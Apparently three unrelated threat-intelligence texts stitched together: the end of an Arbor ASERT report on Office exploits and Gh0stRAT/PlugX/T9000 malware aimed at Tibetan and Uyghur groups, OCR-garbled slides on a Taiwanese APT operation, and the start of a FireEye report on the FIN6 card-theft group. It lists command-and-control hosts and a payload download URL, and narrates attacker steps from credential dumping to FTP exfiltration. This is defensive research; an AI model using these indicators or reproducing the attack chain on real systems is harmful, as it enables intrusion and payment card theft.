Passive DNS reveals several recent resolutions (that continue as of this writing): Domain First Seen Last Seen www.turkistanuyghur.top 2016-03-01 18:31:40 2016-03-18 12:30:17 www.yawropauyghur.top 2016-03-01 18:31:56 2016-03-18 01:30:12 www.whitewall.top 2016-03-01 18:31:49 2016-03-18 01:30:07 www.japanuyghur.top 2016-03-01 18:30:49 2016-03-18 01:29:06 www.hotansft.top 2016-03-17 01:28:56 2016-03-18 01:29:03 www.amerikauyghur.top 2016-03-01 01:28:05 2016-03-18 01:28:22 www.yawropauyghur.top 2016-02-26 18:32:50 2016-03-17 05:13:12 www.turkistanuyghur.top 2016-01-21 21:26:13 2016-03-17 05:13:11 www.whitewall.top 2016-02-18 22:00:00 2016-03-17 05:13:11 www.hotansft.top 2016-02-29 20:46:10 2016-03-17 05:13:06 www.japanuyghur.top 2016-01-19 05:37:55 2016-03-17 05:13:06 www.amerikauyghur.top 2016-02-17 14:49:44 2016-03-17 05:13:00 www.yawropauyghur.top 2016-02-27 01:29:14 2016-02-29 12:30:37 www.whitewall.top 2016-02-19 01:29:39 2016-02-29 12:30:36 www.turkistanuyghur.top 2016-02-01 01:26:48 2016-02-29 12:30:24 www.japanuyghur.top 2016-02-01 01:26:00 2016-02-29 12:29:30 www.amerikauyghur.top 2016-02-18 01:26:33 2016-02-29 01:27:14 www.yawropauyghur.top 2016-02-29 00:00:00 2016-02-29 00:00:00 www.whitewall.top 2016-02-24 00:00:00 2016-02-24 00:00:00 www.amerikauyghur.top 2016-02-17 00:00:00 2016-02-17 12:55:26 turkiyeuyghur.com 2015-12-09 06:33:09 2016-02-16 22:49:35 ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
39 www.turkistanuyghur.top 2016-01-22 01:26:09 2016-01-31 01:26:41 www.japanuyghur.top 2016-01-19 00:00:00 2016-01-31 01:25:57 turkiyeuyghur.com 2015-12-08 09:59:30 2015-12-31 22:19:55 The interest in Uyghurs is noted, with Uyghur themed domains being created from December 8, 2015.
An interest in Uyghurs is potentially consistent with past threat activity in terms of targeting, although further investigation was not performed.
The presence of a PlugX C2 among other Uyghur themed domains suggests there may be additional threat activity to be discovered.
Moving away from domain pivots into binary naming schemes, this particular instance of PlugX uses a binary that contains a service description of F-Secure GUI componet service.
At least three other PlugX samples use the same service description.
These three samples have the following properties: Sample 1: MD5: 533cd66cf420e8919329ee850077319c SHA256: 0ba814941a0adb344cbf2a90552a66b52faa99a24d3107735da1db5a0e1f8360 Sample 2: MD5: e327abcfd09be4e8f64ef35026309747 SHA256: 8b6ef2f4e2af608c755b3114e98ab78ac89e089db5b0bece7f2dc68bd1026a78 Sample 3: MD5: 103873e3fa8dfc2360bb5c22761da04a SHA256: 40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 Of these, sample 3 also contains the exact same C2 auth string of 33333.
Assuming at least some of these values are manually input into the malware builder application, we may consider the possibility of a relationship between these samples that could warrant further investigation.
Targeted Exploitation 11: Gh0stRAT (LURK0), PlugX, Other Malware This is an instance of Gh0stRAT modified to use the string LURK0 instead of Gh0st when traffic is initiated to the C2.
This malicious RTF only appears to exploit CVE-2015-1641, despite the document matching on the Four Element Builder kit.
When the malware executes, it launches a hidden Internet Explorer instance and injects into the instance with WriteMemory and CreateRemoteThread process injections: WRITE_MEMORY  0x00140000 [0x0000005c bytes] [PID: 1076] [C:\Program Files\Internet Explorer\iexplore.exe] CREATE_REMOTE_THREAD  0x7c80aedb [PID: 1076] [C:\Program Files\Internet Explorer\iexplore.exe] The injected instance of Internet Explorer starts with a current directory of AppData\Roaming\Micbt.
This folder was created by the malware.
The malware then initiates a DNS query for manhaton.123nat[.
]com, ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 40 Proprietary and Confidential Information of Arbor Networks, Inc. which at analysis time resolved to 122.10.112[.
]126.
The C2 port appears to be TCP/8030, but was not responding during analysis.
An ASN lookup reveals that the C2 is in China or Hong Kong: 133731  122.10.112.126  CN  TOINTER-AS-AP Royal Network Technology Co., Ltd. in Guangzhou,CN 134121  122.10.112.126  CN  RAINBOW-HK Rainbow network limited,HK The LURK0 variant of Gh0stRAT is well documented and has been used against the Tibetan community and others for years [33] [34] [35].
Network activity appears as such, with the telltale LURK0 string appearing at the start of the packet.
The following network-based alerts can notify organizations of Gh0stRAT LURK0 variant traffic: [2016922] ET TROJAN Backdoor family PCRat/Gh0st CnC traffic [2021716] ET TROJAN Backdoor family PCRat/Gh0st CnC traffic (OUTBOUND) 101 [2808814] ETPRO TROJAN Backdoor family PCRat/Gh0st CnC Response IOCs C2: manhaton.123nat[.
]com C2: 122.10.112[.
]126 TCP/8030 MD5 (90t69cf82.dll): 86ebcbb3bdd8af257b52daa869ddd6c1 MD5 (RTF): b51dd4d5731b71c1a191294466cc8288 MD5 (B412.tmp): 111273c8cba88636a036e250c2626b12 MD5 (tmp.doc): e538ad13417b773714b75b5d602e4c6e - recognized as Gh0stRAT MD5 (Micbt/BTFly.dump): f7c04e8b188fa38d0f62f620e3bf01dc MD5 (Micbt/CltID.ini): 54afa267dd5acef3858dd6dbea609cd9 MD5 (Micbt/IconConfigBt.
DAT): 516774cb0d5d56b300c402f63fe47523 MD5 (Micbt/MemoryLoad.dump): db0f8ba69aa71e9404b52d951458b97c MD5 (Micbt/RasTls.dll): 1e9e9ce1445a13c1ff4bf82f4a38de0d MD5 (Micbt/RasTls.exe): 62944e26b36b1dcace429ae26ba66164 ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
41 SHA-256 (90t69cf82.dll): afd0eae5065a689f8fc48c0cfc5b87f4caecc2fb6b1cef4c5e977fc2cc98509d SHA-256 (RTF): a0da9887b4c5af009a41b783db7ffedf949013abc70777c0ec539299628a51eb SHA-256 (B512.tmp): cdb1d2f843ce797084cfc90107a2582e4861f4051aab0f6ac374468f491232a5 SHA-256 (tmp.doc): aecd3e146632e9dfa0a92f486855144df0f87181feb67ac414a618fd52960c8c SHA-256 (Micbt/BTFly.dump): 3b828a81ff5b0766c99284524b18fcd10d553191741bc1ed89904cdaa79baae1 SHA-256 (Micbt/CltID.ini): 1590a42e67fe02892dfeb6f29e0e6ae91c503d4ea91b550557c513e92f5ac7eb SHA-256 (Micbt/IconConfigBt.
DAT): 0a47bd32b83f09be1ea5a29dce6b7d307de7b3cdd69f836e0c810fd578f85c7c SHA-256 (Micbt/MemoryLoad.dump): aace766acea06845c29b306a9e080edcb3407635398007f3b9b5e053198b54f4 SHA-256 (Micbt/RasTls.dll): bc2f7ebcad10aa48a69680f14fc57434436b821d5e7f2666a0f6d8795b0d37d1 SHA-256 (Micbt/RasTls.exe): f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 Some potentially useful Unicode strings are present inside the RasTls files: Unicode Strings:  ProgramFiles kernel32.dll SeDebugPrivilege Install SOFTWARE\Microsoft\Windows\DbxUpdateBT SOFTWARE\Microsoft\Windows\ \dtdcfd.dll \MemoryLoad.dump \IconConfigBt.
DAT case 0 case 1 Get into InjectProMain ProgramFiles\Internet Explorer\iexplore.exe The iexplore.exe process (that was the target of process injection) loads the 90t69cf82.dll binary that the malware also dropped.
Connections to Historical and Ongoing Threat Campaign Activity ASERT has ten other instances of Gh0stRAT, LURK0 version in our malware repository.
Passive DNS pivots on the IP address associated with manhaton.123nat[.
]com (122.10.112[.
]126) reveals several other potentially interesting domains that have used this IP including: softinc[.
]pw and www.tibetimes[.
]com.
It is interesting to note that this tibetimes.com domain may have been an attempt to spoof the domain www.tibettimes.net.
Passive DNS shows a lot of activity, including relationships to Uyghur based domains.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 42 Proprietary and Confidential Information of Arbor Networks, Inc. Domain name First seen Last seen www.tibetimes.com 2015-12-01 02:04:24 2015-12-04 01:25:34 softinc.pw 2015-11-01 06:43:26 2015-11-30 18:57:21 An email address associated with these domains is lobsang[]gmx.com and another is 2732115454[]qq.com.
The IP and these mail addresses associate with Uyghur and Tibetan themed domains as shown here: The following diagram zooms in on the Uyghur-based domain names highlighting the connection between this Gh0stRAT sample domain metadata and other activity observed, such as the domain whitewall[.
]top used in the PlugX configuration previously mentioned.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
43 Additional investigations are underway to determine the scope of the particular threat herein.
Targeted Exploitation 12: T9000 Malware Tibet House Lure This malware originates on December 31, 2015 and used the original filename [tibethouse] Upcoming Program Announcement Last Week of December.doc.
This timing and naming scheme is consistent with the Tibetan-themed engagement seen in late December of 2015.
The malware was first submitted to Virus Total from India, and exploits CVE-2012-0158, CVE-2012-1856, and CVE-2016-1641.
The bait file is a seven page Upcoming Programme Announcement apparently written by the Tibet House.
Document metadata shows the user name HighSea (previously observed in Targeted Exploitation 8 herein): ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 44 Proprietary and Confidential Information of Arbor Networks, Inc.
The Related People values inside these documents may be related to threat actors, or threat actor infrastructure.
There is not enough information to determine if these names are simply generated programmatically or if they actually represent real people.
In any event, the names have been re-used in some cases and may be a useful indicator of a maliciously crafted document.
The malware at play here is T9000, displaying all of the usual expected T9000 files including the Elevate.
DLL file discussed earlier in this report.
The malware binary itself is identical to an aforementioned T9000 sample (Sixteen Drops of Kadam Empowerment: T9000 Keylogger) and therefore the C2 is also identical to what was reported earlier.
IOCs C2: 198.55.120[.
]143:7386 C2: URL: http://198.55.120[.
]143:7386/B/ResN32.dll MD5 (RTF): 98bcd226890c5c2694ef9a34a23c9fbf MD5 (Elevate.dll): 1d335f6a58cb9fab503a9b9cb371f57b MD5 (QQMgr.dll): b9c584c7c34d14599de8cd3b72f2074b MD5 (QQMgr.inf): 8ac933be588f49560179c26ddbc6a753 MD5 (ResN32.dat): 50753c28878ce10a748fbd7b831ecbe1 MD5 (ResN32.dll): a45e5c32fc2bc7be9d6e4bba8b2807bf MD5 (hccutils.dll): 2299fb8268f47294eb2b18282540a955 MD5 (hccutils.inf): 2f31ef1a8fca047ed0d623010d569857 MD5 (hjwe.dat): d3601a5160b8d122261989d147221eb7 MD5 (qhnj.dat): a9de62186cb8d0e23b0dc75e1ae373ac MD5 (tyeu.dat): 29ec20f5fa1817dc9250c434e61420ea MD5 (vnkd.dat): 35f4ce864c3a3dc016fea3459d6402a9 ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
45 MD5 (1): b901f0b4aa6a3a6875235f96fce15839 SHA-256 (RTF): e13a0357cd51795100dbce25fe846783fbb7fd22c5efe438d9059edc10492f49 SHA-256 (Elevate.dll): 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 SHA-256 (QQMgr.dll): bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f SHA-256 (QQMgr.inf): ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a SHA-256 (ResN32.dat): 5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 SHA-256 (ResN32.dll): 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 SHA-256 (hccutils.dll): 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 SHA-256 (hccutils.inf): f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 SHA-256 (hjwe.dat): bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b SHA-256 (qhnj.dat): c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 SHA-256 (tyeu.dat): e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 SHA-256 (vnkd.dat): c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 SHA-256 (1): df50ea33616c916720c81d65563175d998a2c606360eeb3c8b727a482de3a4fc ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 46 Proprietary and Confidential Information of Arbor Networks, Inc.
Conclusion Threat actors using similar exploit code are launching or continuing a variety of campaigns (termed as an engagement herein, where an engagement is an offensive action within a larger campaign context) aimed at targets such as the Tibetan community, Hong Kong and Taiwanese media, and Asian human rights workers.
Due to the easy delivery of RTF files as attachments and the observation of numerous spear phish samples which reveal precise targeting and timelines, it is likely that spearphish was the primary vector of choice for most or all of the targeted exploitation scenarios profiled herein.
The RTF files observed herein contained up to four unique exploits for various versions of Office.
It is hypothesized that a similar builder kit  which weve named the Four Element Sword Builder - is involved in the creation of these malicious documents, however future work is required to precisely classify the Four Element Sword builder with respect to crimeware and APT activity.
In the case of the APT oriented threat scenarios profiled herein, anywhere from 2-4 of the exploits were typically observed.
In the case of the cybercrime activities that will be profiled in a separate forthcoming document, 2-3 of these exploits were typically observed.
All of the exploit code observed deals with older vulnerabilities that have been patched.
However, considering the target populations at hand, it is possible that older systems may still be in use.
Once APT actors gain a toehold inside an organization, past history shows that its just a matter of time before lateral movement and further exploitation scenarios will unfold to implement the actors actions on objectives.
In the case of the Tibetan community, which has been under attack for years, there have been awareness campaigns designed to reduce risk by implementing special controls and procedures around dealing with attachments.
Recently published documents by other security research organizations have revealed that actors have evolved to newer methods in their ongoing efforts to stay beneath the radar.
Regardless of the delivery method, the malware profiled herein are active threats likely deployed in numerous other scenarios by this, or by other groups of actors.
While older exploit code may be a threat to some populations and not to others, the weaponization of other vulnerabilities is likely taking place and such malware can easily become a payload in such a case, making all analytic and detective insight of the malicious code of relevance for defenders in the global defensive sphere.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
47 References 1.
https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf 2.
https://chinaview.wordpress.com/category/technology/internet/wikipedia/ 3.
http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2012-0158-now-being-used-in-more-tibetan- themed-targeted-attack-campaigns/ 4.
http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html 5.
http://blog.ropchain.com/2015/07/27/analyzing-vupens-cve-2012-1856/ 6.
https://gist.github.com/anonymous/4ac64f2a747db1bf5c89/revisions 7.
https://www.youtube.com/channel/UCjgTCn331Pk4XTI68LwhkdQ/feed 8.
https://nakedsecurity.sophos.com/2015/09/08/anatomy-of-a-malicious-email-recent-word-hole/ 9.
https://nakedsecurity.sophos.com/2015/12/14/exploit-upgrade-for-microsoft-word-intruder-crimeware-kit/ 10.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1770 11.
https://technet.microsoft.com/library/security/ms15-059 12.
http://researchcenter.paloaltonetworks.com/2015/08/rtf-exploit-installs-italian-rat-uwarrior/ 13.
http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of- myanmars-website/ 14.
https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf 15.
https://www.f-secure.com/weblog/archives00001736.html 16.
https://github.com/citizenlab/malware-indicators/blob/master/network-indicators.csv 17.
http://www.europarl.europa.eu/meetdocs/2014_2019/documents/droi/dv/420_speechmckune_/420_speechmckun e_en.pdf 18.
https://www.virusbulletin.com/uploads/pdf/conference_slides/2013/Szappanos-VB2013.pdf 19.
https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack/ 20.
https://cryptam.com/docsearch.php?hash0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f 76b49submitSearch 21.
http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted-attack-campaigns.pdf 22.
http://blog.trendmicro.com/trendlabs-security-intelligence/new-targeted-attack-group-buys-bifrose-code-works-in- teams/ 23.
http://www.engadget.com/2014/01/16/cos-china-operating-system/ 24.
http://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government- agencies-2/ 25.
http://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit- support 26.
http://tibet.net/2016/01/sixteen-drops-of-kadam-empowerment-day-two/ 27.
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti- analysis-techniques/ 28.
http://blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html 29.
https://www.greyhathacker.net/?tagelevate 30.
http://www.rfa.org/english/news/tibet/freed-12042015165254.html 31.
http://www.rsaconference.com/writable/presentations/file_upload/hta-w04a-dll-side-loading-a-thorn-in-the-side-of- the-anti-virus-_av_-industry.pdf 32.
http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html 33.
http://www.welivesecurity.com/2014/11/14/targeted-attacks-tibetan-advocates-using-g20-2014-summit-lure/ 34.
https://citizenlab.org/2013/08/surtr-malware-family-targeting-the-tibetan-community/ 35.
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 48 Proprietary and Confidential Information of Arbor Networks, Inc. About ASERT The Arbor Security Engineering  Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of todays enterprise and network operators.
ASERT engineers and researchers are part of an elite group of institutions that are referred to as super remediators, and represent the best in information security.
This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally.
ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds.
ASERT also operates the world1s largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS, Arbors global network of sensors: http://atlas.arbor.net.
This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research.
To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/.
Hunng the Shadows: In Depth Analysis of Escalated APT Aacks Fyodor Yarochkin, Academia Sinica Pei Kan PK Tsung, Academia Sinica Ming-Chang Jeremy Chiu, Xecure Lab Ming-Wei Benson Wu, Xecure Lab 1 Agenda Why Taiwan?
The Lstudio player fun J Taking a peek at Weaponry APT in a Cloud VicLmology or  chicken-logy?
2 whoweare Based in Taiwan Interests in Computer Forensics Access to some raw network traffic data (fun) Get to fish interesting things (PROFFFIIITT) bensonwu [secret] fygrave [censored] 3 Disclaimer A few words before we move on.
-
With this research we are primarily interested in understanding the Ops and vicLms of discussed targeted aPacks.
We DO NOT aPempt to perform any aPribuLon of potenLal aPackers.
4 Taiwan has been a frontline of APT balefield for some me 5 Many interesng things could be observed (though this is not Lstudio group) 6 Elirks: earlier campaign l Reported by Dell/Secureworks as Elirks hPp:// www.secureworks.com/cyber-threat-intelligence/threats/ chasing_apt/ 7 Elirks evoluon hPp://tw.myblog.yahoo.com/jwuzrxZwSGHxowPMGZAaj4I5 hPp://blog.yam.com/minzhu0906/arLcle/54726977 hPp://diary.blog.yam.com/bigtree20130514/arLcle/10173342 hPp://tw.myblog.yahoo.com/jw uzrxZwSGHxowPMGZAaj4I50- hPp://blogs.yahoo.co.jp/sakasesi2013/31805794.html hPp://www.plurk.com/mdbmdb 8 Elirks 2.0  silly to reuse the address-space Managed by the same IP addresses (easy to cross-correlate) 9 Another on-going Campaign l On-going: 10 On average, 48 APT emails a week 11 The Lstudio group: Exploring fun things in a greater detail :) 12 They start with a boring spearphhiiissh 13 Almost clean :) 14 The APT Landscape in Taiwan 15 Well examine the LStudio group today Unique indicators of the LStudio group: Debug symbols (.pdb) horse label and generator tag Some curious discoveries from the Lstudio backend data center  -) 16 LStudio binaries have cute things hp://scan.xecure-lab.com 17 CSJ-Elise .. 18 They love fast cars J 19 Evora 20 FASST CARS J Lstudio Operaons and C2 21 Lstudio payload Generator Generator Owner Horse Label Generator-Tag APT Exploit delivery via email 22 We dont say victim   G 23 The typical botnet model 24 Very advanced Zoo-management skills :) 25 APT advanced farming :) Operated by roughly 25 farmers Has controlled over 5,884 machines International coverage over 30 countries Utilizes 4 different Botnet software families Active since 2007 26 The Lstudio Chicken Cloud J APT Cloud Backend Data Center Farmer Boss?
Farmer Group B Farmer Group A Command Channel (Second phase backdoor) Data Channel (First phase backdoor) Configurable Bounce APT Botnet A 27 APT Botnet B .. And who are the Chicken ?
J 28 Internaonal Chicken Farm Corp. 29 chicken farms went internaonal 2 30 Share some Chicken J 31 When you travel, your chicken travel too J 32 Lets look at some travelers J 33 US Canada France England Taiwan ANOTHER DISCOVERY 34 .. do have 9 to 5 job ) 35 Just like some security researchers do J 36 AND THE LAST ..
SOME HANDY TOOLS TO SHARE J 37 XecScan: Free API 38 Yara: a swiss-knife of stac sigs ) 39 Yara use Easy to integrate with your scripts IntegraLon with a proxy server is possible via icap yara plugin: hPps://github.com/fygrave/ c_icap_yara Raw network traffic monitoring project (and hPp/DNS indexing): hPps://github.com/fygrave/eyepkflow 40 More cool tools Moloch hPps://github.com/aol/moloch Yara mail hPps://github.com/kevthehermit/yaraMail Yara pcap hPps://github.com/kevthehermit/YaraPcap 41 Conclusions Complex infrastructure Operates since 2007 MulLple soqware versions MulLple back-ends VicLms  government and private sector Mainly Taiwan but also seen world-wide 42 Questions?
benson.wuxecure-lab.com jeremy.chiuxecure-lab.com pkhitcon.org fplurk.com 43
F I R E E Y E  T H R E A T  I N T E L L I G E N C E SPECIAL REPORT / APRIL 2016 FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 SS FC PAN FS NAME FS Primary Account No.
(
19 digits max.)
Name (26 alphanumeric characters max.
ADDITIONAL DATA ESDISCRETIONARY DATA LRC Expiration Date (YY/MM) 4 Service Code 3 No.
of Characters No.
of Characters SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 2 CONTENTS Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6 3 FIN6 4 Gaining Access - Indiscriminate or Intentional?
5 FIN6 - Getting the Job Done 6 Underground Card Shops -  Following the Money 9 Conclusion 11 Reports on payment card intrusions and theft are often fragmentary.
The focus is on various pieces of the attack and less about capturing the end-to-end cycle of compromise, data theft, illicit sale and use.
The full scope of attacker activity traditionally occurs beyond the view of any one group of investigators.
Incident response teams may have visibility into the technical aspects of the breach itself, while cyber crime researchers monitor the movement and sale of stolen data in the criminal underground.
FireEye Threat Intelligence and iSIGHT Partners recently combined our research to illuminate the activities of one particular threat group: FIN6.
This combined insight has provided unique and extensive visibility into FIN6s operations, from initial intrusion to the methods used to navigate the victims networks to the sale of the stolen payment card data in an underground marketplace.
In this report, we describe FIN6s activities and tactics, techniques and procedures (TTPs), and provide a glimpse into the criminal ecosystem that supports the payoff for their operations.
DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 FOLLOW THE MONEY: SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 3 SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 4 FIGURE 1: FIN6 OPERATIONAL METHODOLOGY INDISCRIMINATE TARGETED CASH OUT CARD SHOP Email phishing credential theft Lateral movement on the network Exfiltration payment card data to the cyber criminal underground GRABNEW MALWARE POS MALWARE FIN6 is a cyber criminal group intent on stealing payment card data for monetization.
In 2015, FireEye Threat Intelligence supported several Mandiant Consulting investigations in the hospitality and retail sectors where FIN6 actors had aggressively targeted and compromised point- of-sale (POS) systems, making off with millions of payment card numbers.
Through iSIGHT, we learned that the payment card numbers stolen by FIN6 were sold on a card shop   an underground criminal marketplace used to sell or exchange payment card data.
Figure 1 illustrates what we believe to be FIN6s typical operational methodology.
FIREEYE INTELLIGENCE TRACKS targeted Financial threats (known as FIN groups) capable of using a wide range of tools and tactics during their computer network intrusions.
These groups employ a high level of planning, organization and task management to accomplish their goals.
The threat actors generally target a particular demographic or type of organization, and their goal is financial gain from the data they steal.
They may profit through direct sale of stolen data (such as payment cards or personally identifiable information), unauthorized transfer of funds (such as with stolen bank account or bank routing credentials) or insider trading (based on the theft of non- public business information).
FIN6 SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 5 Its not entirely clear how FIN6 initially compromises victims.
In Mandiants investigations, FIN6 already possessed valid credentials to each victim network and used those credentials to initiate further intrusion activity.1 In one case, GRABNEW malware was found on a victim computer that FIN6 later used in its operations.
We suspect that the computer was originally compromised with GRABNEW by a separate threat actor, who used GRABNEW to capture valid user credentials.
FIN6 may have obtained those credentials (through purchase or trade) and used them for its operations.
GAININGACCESS INDISCRIMINATE OR INTENTIONAL?
FIN6s use of GRABNEW, or credentials collected by GRABNEW, is not altogether surprising and possibly points to a cyber crime support ecosystem that opens doors to threat actors capable of lateral movement and more damaging activities.
Previously, we observed another FIN group  FIN2  leverage several existing Citadel compromises to deploy their custom tools and expand within a network to compromise payment card systems.
Likewise, Proofpoint recently observed GRABNEW variants leading to downloads of POS malware known as AbaddonPOS.
GRABNEW, ALSO KNOWN AS NEVERQUEST AND VAWTRAK, emerged around 2013 and since then has been consistently and indiscriminately spread through massive spam campaigns.
We typically differentiate between threat actors who indiscriminately distribute malware and threat actors who use malware selectively.
GRABNEW itself is a credential-stealing backdoor with form-grabbing capabilities and the ability to inject code into specific web pages to, for example, mimic a valid login prompt for a financial institution to facilitate banking fraud.
In some cases, the presence of GRABNEW malware has overlapped with the spread of POS malware such as PoSeidon, a variant of the Backoff POS malware.
1  When investigating an intrusion, it may be challenging to determine the initial method of compromise  the means through which a threat group first gained access to a victim network.
While in some cases evidence may point to a spear-phishing attack or exploit execution, in other cases little to no forensic evidence of the original compromise remains.
SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 6 All threat groups generally follow a broad operational framework known as the Attack Lifecycle.
While the phases of the Attack Lifecycle  from initial compromise to privilege escalation to maintaining presence and completing the mission  are remarkably consistent, the specific TTPs used vary widely based on a groups skills, motivations and ultimate goals.
After gaining access with valid credentials, we observed FIN6 leveraging components of the Metasploit Framework to establish their foothoold.
For example, in one case, FIN6 used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener that would execute shellcode received over a specific port.
Similarly, FIN6 used at least two downloaders called HARDTACK and SHIPBREAD (apparent variations on Metasploit payloads) to establish backdoor access to the compromised environment.
Both of these tools are configured to connect to remote command and control (CnC) servers and download and execute shellcode.
FIN6 generally used either registry run keys or Windows scheduled tasks in order to establish persistence for these tools.
Once their accesses were established with preferred backdoors, FIN6 used additional public utilities such as Windows Credentials Editor for privilege escalation and credential harvesting.
Additional privilege escalation tools exploited Microsoft Windows vulnerabilities in an attempt to compromise privileged account credentials on various hosts.
The tools targeted CVE-2013-3660, CVE-2011-2005  and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.2 Continuing their use of Metasploit-related tools, FIN6 also used Metasploits PsExec NTDSGRAB module to obtain a copy of the Active Directory database (ntds.dit).
Access to this file would allow them to extract password hashes from the file and crack them offline.
FIN6 GETTING THE JOB DONE 2 These vulnerabilities have all been patched by Microsoft Windows systems with up-to-date software and security patches should not be exploitable.
ADDITIONAL DATA ESDISCRETIONARY DATA LRC Expiration Date (YY/MM) 4 Service Code 3 No.
of Characters No.
of Characters After locating POS systems within the targets environment, FIN6 deployed POS malware that we call TRINITY.
SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 7 In addition to collecting credentials, FIN6 used publicly available tools to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers and NetBIOS.
In particular, during the reconnaissance phase they gathered information on systems running SQL instances, dumping schemas for multiple databases and SQL user accounts.
Specific tools used by FIN6 included Microsofts built-in SQL querying tool (osql.exe), Query Express (a free, portable graphical SQL client capable of connecting to Microsoft SQL and Oracle databases) and AdFind, a free command-line tool for querying Active Directory.
Over the course of one day, for example, the group targeted more than 900 SQL servers to dump reconnaissance information to support further operations.
Capitalizing on the acquired reconnaissance data, FIN6 began lateral movement using credentials stolen from various systems on which they gathered usernames and password hashes.
They likely cracked these hashes outside of the targets network before using multiple sets of domain admin credentials in combination with remote command execution tools such as PsExec and Remote Command Executor (RemCom) throughout the rest of the lateral movement phase.
To maintain presence and support interactive access in the environment, FIN6 leveraged the publicly available Plink command-line utility (part of the PuTTY SSH and Telnet suite) to create SSH tunnels to CnC servers under their control.
As shown in Figure 2, they used these SSH tunnels to route Remote Desktop Protocol (RDP) traffic and allow for interactive RDP sessions with systems in the target network.
After locating POS systems within the targets environment, FIN6 deployed POS malware that we call TRINITY (also known as FrameworkPOS), with Scheduled Tasks being used for persistence.
TRINITY runs continuously and targets system processes not listed in its accompanying process blacklist, seeking data that matches payment card track data.
Once the malware identifies track data, it copies and encodes it to a local file in a subdirectory of the c:\windows\ directory while attempting to conceal these files with .dll or .chm extensions.
In one particular case  and as an example of scale  FIN6 compromised and deployed TRINITY on around 2,000 systems, resulting in millions of exposed cards.
Finally, to move the stolen payment card data out of the environment, FIN6 used a script to systematically iterate through a list of compromised POS systems, copying the harvested track data files to a numbered log file before removing the original data files.
They then compressed the log files into a ZIP archive and moved the archive through the environment to an intermediary system and then to a staging system.
From the staging system, they then copied the stolen data to external CnC servers under their control using the FTP command line utility.
In another case, FIN6 used an alternative extraction method to upload payment card data to a public file sharing service.
TRINITY IS POS MALWARE THAT ATTEMPTS TO LOCATE AND STEAL PAYMENT CARD DATA FROM MEMORY.
